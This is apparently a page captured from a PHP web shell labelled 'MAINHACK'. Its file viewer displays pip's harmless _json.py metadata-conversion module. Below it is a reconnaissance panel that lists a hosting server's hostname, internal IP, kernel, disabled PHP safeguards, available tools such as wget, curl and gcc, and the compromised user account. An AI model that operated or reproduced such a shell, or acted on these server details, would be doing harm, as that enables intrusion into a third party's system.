[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: _json.py
File is not writable. Editing disabled.
# Extracted from https://github.com/pfmoore/pkg_metadata from email.header import Header, decode_header, make_header from email.message import Message from typing import Any, Dict, List, Union METADATA_FIELDS = [ # Name, Multiple-Use ("Metadata-Version", False), ("Name", False), ("Version", False), ("Dynamic", True), ("Platform", True), ("Supported-Platform", True), ("Summary", False), ("Description", False), ("Description-Content-Type", False), ("Keywords", False), ("Home-page", False), ("Download-URL", False), ("Author", False), ("Author-email", False), ("Maintainer", False), ("Maintainer-email", False), ("License", False), ("Classifier", True), ("Requires-Dist", True), ("Requires-Python", False), ("Requires-External", True), ("Project-URL", True), ("Provides-Extra", True), ("Provides-Dist", True), ("Obsoletes-Dist", True), ] def json_name(field: str) -> str: return field.lower().replace("-", "_") def msg_to_json(msg: Message) -> Dict[str, Any]: """Convert a Message object into a JSON-compatible dictionary.""" def sanitise_header(h: Union[Header, str]) -> str: if isinstance(h, Header): chunks = [] for bytes, encoding in decode_header(h): if encoding == "unknown-8bit": try: # See if UTF-8 works bytes.decode("utf-8") encoding = "utf-8" except UnicodeDecodeError: # If not, latin1 at least won't fail encoding = "latin1" chunks.append((bytes, encoding)) return str(make_header(chunks)) return str(h) result = {} for field, multi in METADATA_FIELDS: if field not in msg: continue key = json_name(field) if multi: value: Union[str, List[str]] = [ sanitise_header(v) for v in msg.get_all(field) ] else: value = sanitise_header(msg.get(field)) if key == "keywords": # Accept both comma-separated and space-separated # forms, for better compatibility with old data. if "," in value: value = [v.strip() for v in value.split(",")] else: value = value.split() result[key] = value payload = msg.get_payload() if payload: result["description"] = payload return result
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 690.24 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: N/A